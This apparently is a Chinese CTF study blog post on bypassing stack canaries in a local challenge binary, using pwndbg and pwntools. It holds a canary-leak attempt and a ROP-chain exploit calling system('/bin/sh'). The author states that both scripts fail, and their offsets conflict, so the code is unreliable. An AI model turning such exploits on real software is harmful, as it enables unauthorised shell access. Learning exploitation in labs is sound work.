3.14学习——学会用pwntools进行调试以及学习canary保护

了解canary

这里是–CTF wiki对其的描述,而用通俗的解释,canary就是一个存在栈里面的校验值,用来防止用户通过恶意栈溢出来获取shell
示意图:
在这里插入图片描述这里可以看出,canary被插在栈间,当尝试进行栈溢出操作时,如果覆盖了canary的值,就会导致校验不通过使程序崩溃在这里插入图片描述这是题目示例里的canary校验,当用户输入后会将输入后的canary与之前的canary副本进行异或,如果异或的值不是0,则执行___stack_chk_fail函数使程序崩溃

canary

这里我只学习了格式化字符漏洞,原理是利用了printf函数的漏洞,所以关键就是找到canary的偏移值并利用printf函数来泄露canary的值。找到了canary就能像普通栈溢出的方式来做题(只需要将canary的值放在payload里面,保证canary的验证正确)
用题目来实操一下:
这个题目先checksec看一下在这里插入图片描述发现开启了canary和NX(栈不可执行)保护

用ida静态分析找到主调函数在这里插入图片描述发现存在字符串格式化漏洞和栈溢出,而且有两次输入,可以利用第一次输入泄露canary,第二次输入打进去,而且存在catflag函数和binsh后门函数,用nc链接远程服务器提示服务器上没有文件运行,说明这题是通过本地执行来完成夺取flag,大体思路有了关键在于细节。
分析汇编代码,发现canary的值存在[rbp-8]的位置
在这里插入图片描述再根据伪C代码v6数组储存了canary,v4数组从[rbp-50h]开始,大小32字节,要填充的buf从[rbp-30h]开始,占用了40字节,而且占用[rbp-30h]到[rbp-8h],这非常关键,也就是说只要buf中填充超过40字节,多出来的部分就会覆盖canary导致程序崩溃。
代码中第一个read是读取到buf,而第二个read是读取到v4,并且都是读取100字节,均存在栈溢出。

整理一下思路:第一个read读取100字节,但buf能容纳40字节,多的部分向canary覆盖;第二个read也读取100字节,v4能容纳32字节,其余会溢出到后面的栈空间,但需要绕过canary。

这里由于canary的位置确定,所以理论上有三种方式绕过
1.用pwndbg指令(不建议,感觉有点来的莫名其妙,但还是感觉NB)

pwndbg> canary

就可以直接返回canary的值
在这里插入图片描述
2.直接根据canary的地址进行查询

pwndbg> x/gx $rbp-0x8

在这里插入图片描述这里可以发现两种方法得出的canary值是一样的
3.格式化字符串漏洞(本人太菜没能实现)
原理上面提到了,这里根据思路写了个exp(因为没完全实现,就只写出了泄露canary的部分)

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('/home/kali/vuln')
payload_leak = b'A' * 40 + b'B' * 7
p.sendlineafter(b'Tell me your name', payload_leak)
response = p.recvuntil(b',Do you kown PWN?')
canary = u64(b'\x00' + response[40:47])
log.success(f"Leaked Canary: {hex(canary)}")

但是最后得出的结果是前面七位被B覆盖了剩了个00,并没有按照设想被打印出来
在这里插入图片描述还是请大佬指点一下是哪里出了问题
但是这里用前面两种方法也可以得到canary的值,接下来就是构造exp
这题的只能打本地,观察函数列表,发现system,binsh后门函数在这里插入图片描述而且catflag函数也是在校验完canary后由system执行在这里插入图片描述所以思路就是构造垃圾数据填满栈,导致栈溢出从而执行system函数
但是由于我代码基础差,对于这两个read的读取和canary的绕过没处理出来。就说说我的逻辑和疑点,还请各位大佬指正
思路:
先用40个垃圾数据填满buf,再用32个B填满v4,再通过溢出去执行system
疑点:
输入完40个垃圾数据后再输入32个占位字符会导致canary被修改(这里用pwndbg模拟,exp也是一样的问题)在这里插入图片描述
失败的exp:


from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = process('/home/kali/vuln')

# 泄露 Canary
payload_leak = b'A' * 40 + b'B' * 7
p.sendlineafter(b'Tell me your name', payload_leak)
response = p.recvuntil(b',Do you kown PWN?')
canary = u64(b'\x00' + response[40:47])
log.success(f"Leaked Canary: {hex(canary)}")

# 构造 ROP 链
pop_rdi = 0x400833
bin_sh = 0x400854
system_plt = 0x400590
ret = 0x4005fe

payload = b'A' * 72
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)

p.sendlineafter(b'Do you kown PWN?', payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值